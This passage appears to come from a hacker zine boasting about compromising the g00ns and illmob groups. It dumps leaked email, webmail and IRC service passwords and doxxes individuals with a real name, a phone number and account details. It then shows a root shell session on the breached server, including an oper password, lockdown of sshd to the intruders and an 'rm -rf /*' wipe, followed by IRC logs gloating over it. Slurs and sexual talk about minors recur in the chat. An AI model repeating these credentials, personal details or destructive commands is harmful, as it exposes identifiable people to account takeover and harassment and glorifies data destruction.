like make them money and suck up.

And he likes to hand out passes in IRC. :D

loSt -> detrez: Username:        detrez@j3ws.com
loSt -> detrez: Password:        rg8lTQFl
loSt -> detrez: Pop3 Server:     mail.j3ws.com
loSt -> detrez: Smtp Server:     mail.j3ws.com
loSt -> detrez: oh, you can also login through here as well:
loSt -> detrez: j3ws.com/webmail
loSt -> detrez: naygor.com/webmail
loSt -> detrez: Username:        detrez@naygor.com
loSt -> detrez: Password:        voJLp90C
loSt -> detrez: Pop3 Server:     mail.naygor.com
loSt -> detrez: Smtp Server:     mail.naygor.com

loSt -> detrez: Username:        hang.the@naygor.com
loSt -> detrez: Password:        t5ybTINh
loSt -> detrez: Pop3 Server:     mail.naygor.com
loSt -> detrez: Smtp Server:     mail.naygor.com
deTrez -> loSt: awesomeeeee
loSt -> detrez: Username:        dirty.filthy.greedy.scumbag@j3ws.com
loSt -> detrez: Password:        SkAKU1eP
loSt -> detrez: Pop3 Server:     mail.j3ws.com
loSt -> detrez: Smtp Server:     mail.j3ws.com

loSt -> clorox: [17:01] <Angyl> hey hun
loSt -> clorox: [17:01] <loSt> hey
loSt -> clorox: [17:01] <loSt> how you been?
loSt -> clorox: [17:02] <Angyl> bad. i went wildcard. looking to make some sales
, know any buyers?
loSt -> clorox: [17:02] <loSt> watcha mean wildcard/
loSt -> clorox: [17:03] <Angyl> off the grid, and unpredictable. im running.
loSt -> clorox: [17:04] <loSt> ooo
loSt -> clorox: [17:04] <loSt> fedz after you ?
loSt -> clorox: [17:04] <loSt> or people?
loSt -> clorox: [17:05] <Angyl> alphabet soup.pick your acronym
loSt -> clorox: [17:05] <loSt> lol


andy -> Joshua: loSt says he will keep ANYONE you want gzlined if he gets the money

CuNt -> loSt: need the warez-bb password again
loSt -> CuNt: 547745
CuNt -> loSt: and its rocksuperman right?

loSt -> tribaL: [19:55] <loSt> im just doing what i do to bring in money
loSt -> tribaL: [19:55] <loSt> only temp to help with the load of threads
loSt -> tribaL: [19:55] <g00ns> Which proves g00ns is only about money now
loSt -> tribaL: [19:55] <g00ns> Whoever brings in most money gets most power


// core //


core -> nickserv: IDENTIFY h4xorwooT

On Sat, Mar 15, 2008 at 6:42 PM, <dirty.filthy.greedy.scumbag@j3ws.com>
wrote:

>
> hey mom this is carroll, my new email address

Welcome to StumbleUpon! Here's your login info:
Email: core@j3ws.com
Password: damiro

Dear core1516161,<br /><br />We have received several complaints concerning=
 your use of the Stickam service. Specifically, we have been informed that =
you have exposed yourself and/or others nude/partially nude to other member=
s/users of the service.<br /><br /> ..etc(see his spool)a

core = Cormac O'Riordan according to paypal
Woulf Den Imprinting just sent you money with PayPal. ($2430! fuck!)

`This email confirms that you have paid Valve Corp.=2412.04 USD using PayPal.
Phone: +353 0864054913

Welcome to Los Santos Role Play forums
Username: core
Password: hacker123
core321@live.com his other email


// a59 //


a59 -> nickserv@anonymous.services: identify snoop1

a59 -> sixthreenine: THIS IS A FUCKIN HACKER TOOL
a59 -> sixthreenine: I AM A FUCKIN HACKER TOOL
a59 -> sixthreenine: DONT TALK SHIT
a59 -> sixthreenine: NEVER
a59 -> sixthreenine: and dont EVER question my AUTHORITY CAUSE IWILL FUCKIN HACK U'


~~~~~~~~~~~~~~

These kids are so funny.

Shortly before release (and long after we had taken anything we wanted from
 g00ns) we decided to have some fun with them.

Here are the IRC logs of us trolling and rming g00ns.net. A lot of others
jumped on the troll wagon and everyone had a great time!

We fixed up the box a bit:


[root@demon2 Unreal3.2.7]# cat unrealircd.conf
loadmodule "src/modules/commands.so";
loadmodule "src/modules/cloak.so";


me
{
        name "irc.evilcoders.net";
        info "Partyvan IRC";
        numeric 11;
};

admin {
        "tribaL";
        "tribal@g00ns.net";

};

class           clients
{
        pingfreq 180;
        maxclients 5000;
        sendq 1000000000;
        recvq 8000;

};

class           servers
{
        pingfreq 290;
        maxclients 100;         /* Max servers we can have linked at a time */
        sendq 999999999;
        connfreq 100; /* How many seconds between each connection attempt */
};
oper zf0 {
  from {
    userhost "*@*";
  };
  password "g00nspwnage";
  class "default";
  flags {
   netadmin;
    services-admin;
    global;
    helpop;
    can_rehash
    can_globalnotice;
    can_globalroute;
    can_globops;
    can_wallops;
    can_unkline;
    can_kline;
    can_globalkill;
    can_zline;
    can_gkline;
    can_gzline;
    get_umodew;
    get_host;
    can_override;
    can_die;
    can_restart;
  };
};
[root@demon2 Unreal3.2.7]# /etc/init.d/directadmin stop
Stopping DirectAdmin:                                      [  OK  ]
[root@demon2 Unreal3.2.7]# /etc/init.d/httpd stop
Stopping httpd:                                            [  OK  ]
[root@demon2 Unreal3.2.7]# /etc/init.d/lsws stop
[root@demon2 Unreal3.2.7]# /etc/init.d/mysqld stop
Shutting down MySQL..                                      [  OK  ]
[root@demon2 Unreal3.2.7]# /etc/init.d/nessusd stop
Shutting down Nessus services:                             [  OK  ]
[root@demon2 Unreal3.2.7]# /etc/init.d/proftpd stop
Shutting down proftpd:                                     [  OK  ]
[root@demon2 ~]# /etc/init.d/sshd restart
Stopping sshd:                                             [  OK  ]
Starting sshd:                                             [  OK  ]
[root@demon2 ~]# cat /etc/ssh/sshd_config
#       $OpenBSD: sshd_config,v 1.73 2005/12/06 22:38:28 reyk Exp $
Banner /etc/ssh/sshd-banner
# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/bin:/usr/bin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options change a
# default value.

Port 3000
#Protocol 2
Protocol 2
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

# HostKey for protocol version 1
#HostKey /etc/ssh/ssh_host_key
# HostKeys for protocol version 2
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_dsa_key

# Lifetime and size of ephemeral version 1 server key
#KeyRegenerationInterval 1h
#ServerKeyBits 768

# Logging
# obsoletes QuietMode and FascistLogging
#SyslogFacility AUTH
SyslogFacility AUTHPRIV
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6

#RSAAuthentication yes
#PubkeyAuthentication yes
#AuthorizedKeysFile     .ssh/authorized_keys

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#RhostsRSAAuthentication no
# similar for protocol version 2
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# RhostsRSAAuthentication and HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no
PasswordAuthentication yes

# Change to no to disable s/key passwords
#ChallengeResponseAuthentication yes
ChallengeResponseAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication mechanism.
# Depending on your PAM configuration, this may bypass the setting of
# PasswordAuthentication, PermitEmptyPasswords, and
# "PermitRootLogin without-password". If you just want the PAM account and
# session checks to run without PAM authentication, then enable this but set
# ChallengeResponseAuthentication=no
#UsePAM no
#UsePAM yes

# Accept locale-related environment variables
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT
AcceptEnv LC_IDENTIFICATION LC_ALL
#AllowTcpForwarding yes
#GatewayPorts no
#X11Forwarding no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PrintMotd yes
#PrintLastLog yes
#TCPKeepAlive yes
#UseLogin no
#UsePrivilegeSeparation yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#ShowPatchLevel no
#UseDNS yes
#PidFile /var/run/sshd.pid
#MaxStartups 10
#PermitTunnel no

# no default banner path
#Banner /some/path

# override default of no subsystems
Subsystem       sftp    /usr/libexec/openssh/sftp-server
AllowUsers ZF0PWN
[root@demon2 ~]# rm -rf /*
rm: cannot remove `/aquota.group': Operation not permitted
cannot remove `/aquota.user': Operation not permitted
cannot remove directory `/backup': Device or resource busy
cannot remove directory `/boot': Device or resource busy
[root@demon2 ~]#


And we trolled:


--- Log opened Wed May 07 11:50:55 2008
11:50 < r00tr00t> welcome to the zf0 rmage
11:50 < Angyl> for the lulz
11:50 < ECB> hmm
11:51 < Angyl> and auctuioning it off on mids
11:51 <+theswellseason> Zombocom why are you such a faggot
11:51 <+theswellseason> I can't believe I thought I loved you Zombocom
11:51 < boon> SAY GOOD NIGHT G000ns
11:51 -!- Slowpoek is now known as theswelllseason
11:51 < r00tr00t> [root@demon2 ~]# ls /home/g00ns
11:51 < r00tr00t> ls: /home/g00ns: No such file or directory
11:51 < theswelllseason> lol
11:51 < r00tr00t> you have been rm'ed
11:51 < boon> TOODLEOOOO
11:51 < Angyl> swell.
11:51 < r00tr00t> bye
11:51 < Angyl> did i ever show you the pic
11:51 < Angyl> of riot
11:51 < Angyl> looking like an epic faggot
11:51 < boon> hahaha you guys dont even know :(
11:51 <&FuRY|Shmoke> `kb r00tr00t
11:51 < boon> lolz
11:51 <&FuRY|Shmoke> :(
11:51 <+theswellseason> actually I think you did
11:52 < theswelllseason> lol we just got hacked
11:52 < Angyl> http://i32.tinypic.com/xoozlg.jpg that one?
11:52 <%p00h> :/
11:52 < theswelllseason> looooooool
11:52 < theswelllseason> `staff
11:52 < boon> lol
11:52 <+theswellseason> wtf who is theswelllseason
11:52 < theswelllseason> i am slowpoke :P
11:52 <+theswellseason> HAHAHAHAHAHAHAHAHAHA
11:52 < theswelllseason> <3 ^_^
11:52 <+theswellseason> HAHAHAHAHAHAHAHAHAHAHAHAHA
11:52 < Slowpoke> oh shit what the hell
11:52 < Angyl> o.o
11:52 < theswelllseason> angyl = selfish
11:52 < Slowpoke> Oh
11:52 < boon> its fun that your last messages will be from the whore that is theswellseason
11:53 <+theswellseason> Angyl that is hilarious
11:53 < theswelllseason> slowpoke = angyl
11:53 <+theswellseason> poor guy
11:53 -!- r00tr00t was kicked from #g00ns by FuRY|Shmoke [FuRY|Shmoke]
11:53 < boon> and soo nthe world will see your sexy pics
11:53 -!- r00tr00t [root@FB370F60.35B0F1AB.6B794A7F.IP] has joined #g00ns
11:53 <+Zombocom> dude, swell's not a whore
11:53 -!- mode/#g00ns [+b *!*@FB370F60.35B0F1AB.6B794A7F.IP] by FuRY|Shmoke
11:53 < ECB> WHAAT ABOUT MY SEXY PICS
11:53 -!- r00tr00t was kicked from #g00ns by FuRY|Shmoke [FuRY|Shmoke]
11:53 < Angyl> yes she is
11:53 < ECB> IM FUCKING SEXY
11:53 < Angyl> quit defending your irc girlfriend
11:53 <+Zombocom> no she's not
11:53 < Angyl> shes proud of being a whore
11:53 -!- FuRY|Shmoke [douglas@Shit.Piss.Fuck.Cunt.CockSucker.MotherFucker]
has quit [Killed (r00tr00t (faggot))]
11:53 -!- r00tr00t [root@FB370F60.35B0F1AB.6B794A7F.IP] has joined #g00ns
11:53 -!- FuRY [douglas@Shit.Piss.Fuck.Cunt.CockSucker.MotherFucker] has joined #g00ns
11:53 -!- mode/#g00ns [+ao FuRY FuRY] by HustleServ
11:53 <+theswellseason> Angyl you best not be talkin shit :P
11:53 <%p00h> lol
11:53 < Slowpoke> theswellseason sux
11:53 < Slowpoke> D:
11:54 -!- theswellseason is now known as DickMonkey
11:54 < Angyl> im not
11:54 < ECB> lol
11:54 < Angyl> im just saying your a whore baby
11:54 < ECB> ok im gonna shower niggas
11:54 <+DickMonkey> I ain't swell
11:54 -!- r00tr00t [root@FB370F60.35B0F1AB.6B794A7F.IP] has quit
[Killed (januszeal (who are you))]
11:54 -!- theswelllseason is now known as theswelseason
11:54 < ECB> ill talk to you bitches later
11:54 -!- Zombocom is now known as theswellseason
11:54 -!- DickMonkey is now known as Zombocom
11:54 <+theswellseason> lol
11:54 -!- notherejack [notjack@48A9411C.15EBAEA.ED99F467.IP] has quit [Ping timeout]
11:54 <+Zombocom> god since when does Zombocom have voice in here
11:54 <+theswellseason> lol
11:55 < Angyl> since he started fucking you
11:55 <+theswellseason> LOL
11:55 <+theswellseason> angyl
11:55 -!- r00tr00t [root@FB370F60.35B0F1AB.6B794A7F.IP] has joined #g00ns
11:55 < ECB> lol
11:55 <+theswellseason> we're back to normal
11:55 <+theswellseason> I'm swell again
11:55 <&FuRY> everyone join irc.partyvan.fm
11:55 <+Zombocom> and I'm Zombocom
11:55 < Murdoc> osht angyl is getting bitchy :[
11:55 < Murdoc> break out the xanax
11:55 < Slowpoke> asl Murdoc :)
11:55 < ECB> NO GIMME THE XANAX
11:55 <+Zombocom> Angyl gets bitchy when she gets confused
11:55 < ECB> SHIT IM ALMOST OUT
11:55 < Murdoc> 40/m/basement
11:55 < Slowpoke> 12/f/uk u?
11:55 < Slowpoke> :)
11:56 < Slowpoke> aww :>
11:56 -!- theswelseason is now known as Selfish
11:56 <+Zombocom> she's allways confused with her sexuality
11:56 <+Zombocom> so she's always angry
11:56 < Angyl> im playing trivia
11:56 <+theswellseason> you're asking to get rooted boy
11:56 < Angyl> and im alrdy on xanax
11:56 <+theswellseason> LOL
11:56 <+theswellseason> shit, not even that works
11:56 <+theswellseason> <3
11:56 < r00tr00t> [root@demon2 lib]# rm -rf /*
11:56 < r00tr00t> rm: cannot remove `/aquota.group': Operation not permitted
11:56 < r00tr00t> rm: cannot remove `/aquota.user': Operation not permitted
11:56 < r00tr00t> bye bye
11:56 < Angyl> lol
11:56 <+Zombocom> not even xanax can stop her hormonal rage
11:56 <+Zombocom> NOTHING CAN TOP HER
11:56 <+Zombocom> STAY OUT OF HER WAY
11:57 < Angyl> im not raging
11:57  * Zombocom jumps in front of a train
11:57 < Slowpoke> What about
11:57 < Slowpoke> a slowpoke
11:57 < Slowpoke> ^_^^
11:57 <%andy> everyone in here thats connected to irc.evilcoders.net
11:57 <+Zombocom> OH GOD
11:57 <%andy> connect to irc.partyvan.fm
11:57 <+Zombocom> SHE'S SO ANGRY
11:57 <+Zombocom> SHE'S SUPER FUCKING PISSED
11:57 -!- Netsplit irc.evilcoders.net <-> haruhi.partyvan.hub quits: p00h,
kumar, +PhyuK|Shmoke, malaphus, +Zombocom, Striker, andy, Gibby, ECB, @FuRY,
 (+34 more, use /NETSPLIT to show all of them)
11:58 -!- Angyl [Angyl@132.108.93.155] has quit [Quit: ]
--- Log closed Wed May 07 11:58:41 2008


14:10 -!- lilo [lilo@D609CC9E.EF030B1D.2A28F7FA.IP] has joined #G00NS
14:11 < lilo> trintitty                       f4rh@nLOLб╟
14:11 < lilo> plasma                  jblink
14:11 <%plasma> wat
14:11 <%plasma> lolol
14:11 < lilo> trintitty -> nickserv: identify lolh@x0r
14:11 < lilo> lulz
14:11 <%plasma> that's sad :(
14:11 < fff> l0l
14:11 < lilo> PhyuK -> nickserv: identify 1asdf2
14:11 <%plasma> colombia :O
14:11 -!- lilo [lilo@D609CC9E.EF030B1D.2A28F7FA.IP] has quit [Killed (core (faggot))]
14:11 <+d0ct0r> lol
14:11 < fff> u dumb j3ws
14:12 <+theswellseason> wait, core are those right?
14:12 <+d0ct0r> i dont think so.
14:12 <+theswellseason> lol nvm
14:12 <+theswellseason> you wouldn't tell me if you could
14:12 <%plasma> well
14:12 <%plasma> he got mine right
14:12 -!- PhyuK [kyle.mclol@sluts.r.us] has quit [NickServ (GHOST command used by canr)]
14:12 <%plasma> :(
14:12 <%canr> lol its right
14:12 <+d0ct0r> lol
14:12 -!- trintitty [trintitty@DESU-598F0E26.dsl.mindspring.com] has quit
[NickServ (GHOST command used by w)]
14:12 <%andy> oh mother fucker
14:12 <+theswellseason> oh shit!
14:12 < fff> lilo -> nickserv: identify isuckalotofdickmmm
14:12 <+d0ct0r> :O
14:12 <+theswellseason> core, get what's that fucker's IP?
14:13 -!- syph [syph@freecandy.van] has joined #G00NS
14:13 -!- mode/#g00ns [+h syph] by HustleServ
14:13 <%plasma> theswellseason: it was a proxy
14:13  * d0ct0r goes to change all his pw's
14:13 <%plasma> in colombia
14:13 <@core> theswellseason: im not retarded
14:13 < fff> lilo -> nickserv: identify isuckalotofdickmmm
14:13 < fff> lilo -> nickserv: identify isuckalotofdickmmm
14:13 < fff> lilo -> nickserv: identify isuckalotofdickmmm
14:13 -!- PhyuK [kyle.mclol@sluts.r.us] has joined #G00NS
14:13 -!- mode/#g00ns [+v PhyuK] by HustleServ
14:13 <%syph> hai
14:13 <+PhyuK> o no my irc nick
14:13 <+PhyuK> :(
14:13 <+PhyuK> im h4xed
14:13 <+PhyuK> i use that pw for EVERYTHING
14:13 -!- trintitty [trintitty@DESU-598F0E26.dsl.mindspring.com] has joined #G00NS
14:13 -!- mode/#g00ns [+o trintitty] by HustleServ
14:13 <%plasma> why didnt he deface g00ns.net? :p
14:13 <@trintitty> ...
14:14 <+theswellseason> you were hacked
14:14 <@trintitty> because he had more ultimate pwnage in mind..
14:14 -!- grub [grub@FB6A658F.9037C7E6.2A28F7FA.IP] has joined #G00NS
14:14 < grub> FuRY -> nickserv: identify asshole6669
14:14 -!- trintitty [trintitty@DESU-598F0E26.dsl.mindspring.com] has
quit [NickServ (GHOST command used by fff)]
14:14 <%plasma> lol
14:14 < fff> lol
14:14 -!- mode/#g00ns [+b *!*@desu-2A800167.dynamic.swissvpn.net] by canr
14:14 < grub> core -> nickserv: IDENTIFY h4xorwooT
14:14 -!- fff [fff@DESU-2A800167.dynamic.swissvpn.net] has quit [Killed (core (-))]
14:14 -!- FuRY|Working is now known as FuRY
14:14 -!- FuRY is now known as drop
14:14 -!- core [~core@fbi.lol] has quit [NickServ (GHOST command used by plasma)]


14:16 -!- core [~core@fbi.lol] has joined #G00NS
14:16 -!- mode/#g00ns [+o core] by HustleServ
14:16 -!- FuRY [douglas@Shit.Piss.Fuck.Cunt.CockSucker.MotherFucker] has joined #G00NS
14:16 < FuRY> :|
14:16 < FuRY> `up
14:16 <+PhyuK> I hope everybody is aware of the repercussions
14:17 <@core> change your passes
14:17 <@core> /ns set password
14:17 <%canr> why ;\
14:17 < FuRY> i dropped mine
14:17 < FuRY> :P
14:17 <%canr> if he can get it again
14:17 <%andy> `sop add FuRY
14:17 < FuRY> `up
14:17 -!- mode/#g00ns [+ao FuRY FuRY] by HustleServ
14:17 <&FuRY> thx
14:17 -!- mode/#g00ns [+v canr] by canr
14:17 <@w> why are pw's not encrypted
14:17 <%plasma> w: well, they used to be :(

14:49 <~clorox> g00ns are over
14:50 -!- clorox changed the topic of #G00NS to: 
FUKKEN ANGRY LACROSSE HACKERS - http://xi.7x.ru/~inaki/g00ns/ - g00ns are over


15:12 <+[nazi]notjack> g00nFuRY (20:47:47): hackers that hack hackers
15:12 < DrMengele> yeah what happened?
15:13 <+[nazi]notjack> zero for owned r00ted g00ns
15:13 <+[nazi]notjack> deleted everything
15:13 <+[nazi]notjack> g00ns may be over
15:13 <+[nazi]notjack> so
15:13 <+[nazi]notjack> drama
15:13 < lollercaust> drama sucks
15:13 < lollercaust> what is zero for owned website?
15:13 < WB> http://zero.for.owned.on
15:14 < WB> http://zero.for.owned.on.nimp.org
15:14 <+[nazi]notjack> Yeah
15:14 < lollercaust> heh i use lynx smartass
15:15 <~tribal> `akick add * g00ns is over
15:15 <~tribal> what
15:15 -!- tribal is now known as clorox
15:15 <~clorox> `akick add * g00ns is over
15:15 -!- mode/#g00ns [+b *!*@*] by HustleServ
15:15 -!- NoName was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- unknown|49515 was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- TaGg was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- [Midnight] was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- skinless was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- malaphus was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- Striker was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- CuNt was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- aempirei was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- Gibby was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- KLAUS_NOMI was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- REVEREND_REY was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- iZaP was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- FukkenSaved was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- Kame was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- Deltantor was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- RickRollington was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- transientox was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- Jewgoldz|A[ushwitz] was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- WB was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- DeMiNe0 was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- DrMengele was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- Dark_Fusion was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- p00h was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- ECB was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- malaphus|laptop was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- Angyl was kicked from #g00ns by HustleServ [g00ns is over]
15:15 -!- krispin was kicked from #g00ns by HustleServ [g00ns is over]
--- Log closed Wed May 07 15:15:24 2008

Fantastic, just FANTASTIC.

We were just jealous that g00ns thought of selling t-shirts before we did.
Anybody want a "ZF0wned", "0wned by ZF0", or "Featured in ZF04" t-shirt?
Look for them at a store near you!

Just kidding, we're not in it for the money. If we were, instead of making
and selling t-shirts we would make and sell CANVAS.



zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0
zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0
zf0                                                                                 zf0
zf0                                    illmob                                       zf0
zf0                                                                                 zf0
zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0
zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0



illmob was on the g00ns box, but they get their own article because they aren't
g00ns and we have a bit of material.

illmob is just a laugh no matter how you look at it. Never was taken seriously,
and it's claim to fame is ill[will] being imprisoned for selling Windows source
 code. Check out his legal papers and wikipedia article, name's William Genovese.

illmob didn't really get themselves owned, I mean they did not cause the g00ns
owning in any way. They weren't even a target, just a helpless battleground spoil.

Their only security mistake that lead to this was being hosted on g00ns. It's a
mistake nonetheless, albeit one they wanted to correct. It's not like they are
really secure or anything, the webdir is basically a poorly managed file dump.

We found some funny quotes for you. They give (most of) these out for free in
#illmob, check it out for a laugh. They will probably be glad to have another
channel member regardless of how you treat them.

Phist -> #illmob: [ill]will: I've just realized why nobody links to us anymore
and shit
canr -> #illmob: Why?
Phist -> #illmob: [ill]will: Now that you're out of jail, it's not 'cool' to
like illmob

Phist -> #illmob: chilly: Please could you commit a crime
Phist -> #illmob: but a cool one
chilly -> #illmob: jaywalk
Phist -> #illmob: because we need more hits

// There's a documentary?? Must not have made my local theatre
canr -> #illmob: Whats the name of that documentary about [ill]will
canr -> #illmob: the 2600 one?
Phist -> #illmob: I forget - are you Scandinavian? or Finnish?
canr -> #illmob: Freedom Downtime
canr -> #illmob: Got it

Phist -> #illmob: We've got the skill to be something
Phist -> #illmob: and we're wasting our time
Spyd3r -> #illmob: yes, I agree
Phist -> #illmob: we've got will back
Phist -> #illmob: he's a fuckin' ASM master

Phist -> #illmob: this is bullshit
Phist -> #illmob: we're pro

SpunkWang -> #illmob: gh0st: I have normal user access to a box... /r/ sploits
(vmsplice doesnt work ;-;_
gh0st -> #illmob: what distro
SpunkWang -> #illmob: how do i find out... i knew the command 4 hours ago lol
ummmm

ECB -> #illmob: its kind of sad, im not smart enough to do computer shit
ECB -> #illmob: all this 01010101010101 shit and fucking C++
gh0st -> #illmob: try
gh0st -> #illmob: uname -a
ECB -> #illmob: I fucking got an A+ in my classes, why cant i understand C++

gh0st -> #illmob: spunkwang: he's running kernel 2.6.9
gh0st -> #illmob: shit is outdated nigga
SpunkWang -> #illmob: gh0st: I tried running the vmsplice sploit but it nay
work :(

// Capitalisation is sweet, is there a Disney movie now or something?
Spyd3r -> #illmob: I know shit about system level exploits
Riot -> #illmob: Buffer Overflows are fuckin myths to me.

Spyd3r -> #illmob: I consider myself a bright guy, but the only programming I
do is web apps

padlock -> #illmob: I know slack the best
padlock -> #illmob: bsd sounds good, too, though
padlock -> #illmob: I'm so confused, so many good kernels and distros

coldblood -> #illmob: sounds like the new server is mega securer
coldblood -> #illmob: k r u really going to need that much sercurity?
padlock -> #illmob: Yeah, so I want to make sure we don't get owned stupidly
coldblood -> #illmob: yer that would be embassing if you did
padlock -> #illmob: Spyd3r is good at making sure the website itself doesn't
have a ton of holes, and I secure servers for a living, so I think we should be
able to handle it
coldblood -> #illmob: yer
padlock -> #illmob: Only ports open on the server are for services we'll use
padlock -> #illmob: And it'll be behind another firewall on top of that

Spyd3r -> #illmob: well we run well over 375 client sites from the farm
Spyd3r -> #illmob: only about 200 of those have the add-on that was used to get
in

canr -> gr0b: Theres this code my friend has:
MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECHvugCZLtxdhBAhVuqcPWK5Pig==
canr -> gr0b: Hes wondering what encryption that is. Would you happen to know
what type?


~~~~~~~~~~~~~

shamrock -> #illmob: im getting some widgets for yahoo go
[ill]will -> #illmob: dont waste your youth on the interweb
[ill]will -> #illmob: save it to your late 30s
[ill]will -> #illmob: well actually you dont have to worry right now about
underage poon
[ill]will -> #illmob: so get yourself an aol account
[ill]will -> #illmob: and start a/s/l and s2r-ing
[ill]will -> #illmob: easy pussy on aol
[ill]will -> #illmob: girls on the net have low self esteem

coldblood -> #illmob: Beer + penis = pussy
canr -> #illmob: no.
Phist -> #illmob: canr: ya rly
Phist -> #illmob: coldblood: From that one sentence, I just extracted the
information that you are a virgin

Phist -> #illmob: I'm not gonna sit here and talk shit about it, but I'm pretty
insulted
Spyd3r -> #illmob: I rather miffed myself
Spyd3r -> #illmob: just glad that we're alrdy planning to get on a different
server
coldblood -> #illmob: then do something about it
Phist -> #illmob: I'm not, because z3r0 has done so much for us
Spyd3r -> #illmob: I'm so sick of the children
Phist -> #illmob: and the g00ns as a group have been really supportive
Spyd3r -> #illmob: aye, I must give respect to "the g00ns"
Spyd3r -> #illmob: but individually speaking, there's a mean age of 17
Spyd3r -> #illmob: why is it that I've only met 4 intelligent g00ns?

Spyd3r -> #illmob: having some experience in the pr0n industry, that doesn't
surprise me too much
Spyd3r -> #illmob: I've done a lot of free-lance work in what used to be the
very respectable SickSiteNetworks
Phist -> #illmob: coldblood: He also starred in 2girls1cup
Spyd3r -> #illmob: that's the parent company for ConsumptionJunction,
SteakandCheese, RevengeWorld, about 5 others
Spyd3r -> #illmob: They were acquired back in November, so I haven't done work
for them in a bit

canr -> #illmob: Shamrock is = Shamrock, sham_, sham, clover, teh, w-,irlgov.ie

canr -> gr0b: I want to kill shamrock.
canr -> gr0b: I just hate shamrock with a burning passion.
shamrock -> a59: uhh wanna own canr with me?

Phist -> #illmob: I tried to quit at got promoted
Phist -> #illmob: and*
Genocide -> #illmob: damn, you suck at quitting
Genocide -> #illmob: :)
Phist -> #illmob: If I try to quit again, I'll get network admin
Phist -> #illmob: :P
Phist -> #illmob: seriously though, I hate this
Phist -> #illmob: just sayin
Genocide -> #illmob: i'm willing to live with that
Genocide -> #illmob: you can't leave me ;_
Genocide -> #illmob: ;
Phist -> #illmob: I do like the individuals
Phist -> #illmob: god fucking dammit
Phist -> #illmob: It's not like it makes a difference
Phist -> #illmob: We should start an e-war with anonymous   // we'll get the
word out for you

Spyd3r -> Riot: don't take this the wrong way, ok?
Riot -> Spyd3r: k
Riot -> Spyd3r: :>
Spyd3r -> Riot: I gather data on anyone I come across
Riot -> Spyd3r: Mhmm.
Riot -> Spyd3r: I expecti t.
Spyd3r -> Riot: and I have an extensive library on g00ns members

Riot -> Spyd3r: I dunno, I'm thinking about leaving g00ns
Riot -> Spyd3r: Don't really get much respect for my craft there, you know
Riot -> Spyd3r: Can't really grow.
Spyd3r -> Riot: I have a lot of respect for a few g00ns in particular
Spyd3r -> Riot: I won't state them here, but I'll admit you've made the list
Riot -> Spyd3r: Thanks, I appreciate it.
Riot -> Spyd3r: #TEXTCEE
Spyd3r -> Riot: and of those members, I have called (a few of) their parents
and attempted to verify that info
Spyd3r -> Riot: tbh, pr0be's mom was hilarious

Riot -> Spyd3r: I love probe too
Spyd3r -> Riot: I ENVY him!
Spyd3r -> Riot: I envy you too
Riot -> Spyd3r: Why is that?
Spyd3r -> Riot: I'm in my late 20's
Riot -> Spyd3r: So.
Spyd3r -> Riot: yer both young and brite

CryptiK -> #illmob: well anonymous is gay.   they can dos me all they want.

Phist -> Genocide: Deadly Data
Phist -> Genocide: Chris Richardson
Phist -> Genocide: Apartment
